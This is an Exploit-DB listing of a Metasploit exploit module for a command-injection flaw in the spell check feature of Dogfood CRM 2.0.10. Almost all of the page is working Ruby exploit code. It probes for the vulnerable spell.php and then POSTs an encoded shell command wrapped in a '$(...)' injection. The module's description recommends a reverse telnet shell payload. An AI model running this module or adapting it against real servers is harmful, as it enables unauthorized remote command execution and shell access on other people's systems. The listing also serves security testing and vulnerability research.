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# Dogfood CRM - 'spell.php' Remote Command Execution (Metasploit)

**EDB-ID:**

16917

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[WEBAPPS](#)

**Exploit:**   / 

**Platform:**

[PHP](#)

**Date:**

2010-07-03

**Vulnerable App:**



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```
##
# $Id: dogfood_spell_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Dogfood CRM spell.php Remote Command
Execution',
      'Description' => %q{
        This module exploits a previously unpublished
vulnerability in the
        Dogfood CRM mail function which is vulnerable to command
injection
        in the spell check feature. Because of character
restrictions, this
        exploit works best with the double-reverse telnet payload.
This
        vulnerability was discovered by LSO and affects v2.0.10.
      },
      'Author' =>
        [
          'LSO <lso@hushmail.com>', # Exploit module
          'patrick', # Added check code, QA tested ok 20090303,
there are no references (yet).
        ],
      'License' => BSD_LICENSE,
      'Version' => '$Revision: 9669 $',
      'References' =>
        [
          [ 'OSVDB', '54707' ],
          [ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
        ],
      'Privileged' => false,
      'Platform' => ['unix'], # patrickw - removed win, linux -
> untested
      'Arch' => ARCH_CMD,
      'Payload' =>
        {
          'Space' => 1024,
          'DisableNops' => true,
          'BadChars' => %q|'`|, # quotes are escaped by
PHP's magic_quotes_gpc in a default install
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash
telnet',
            }
        },
      'Targets' => [ ['Automatic', { }], ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 03 2009'
    ))
end
```

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```
register_options(  
  [  
    OptString.new('URIPATH', [ true, "The URI of the spell  
checker", '/dogfood/mail/spell.php']),  
  ], self.class)  
  
end  
  
def check  
  res = send_request_raw(  
    {  
      'uri' => datastore['URIPATH'],  
    }, 1)  
  
  if (res.body =~ /Spell Check complete/)  
    return Exploit::CheckCode::Detected  
  end  
  return Exploit::CheckCode::Safe  
end  
  
def exploit  
  timeout = 1  
  
  cmd = payload.encoded  
  data = "data=#{Rex::Text.uri_encode('$(' + cmd + ' &)x')}"  
  uri = datastore['URIPATH']  
  
  response = send_request_cgi(  
    {  
      'uri' => uri,  
      'method' => "POST",  
      'data' => data  
    },  
    timeout)  
  
  handler  
  
end  
end
```

Tags: [Metasploit Framework](#)  
([MSF](#)).

Advisory/Source: [Link](#)



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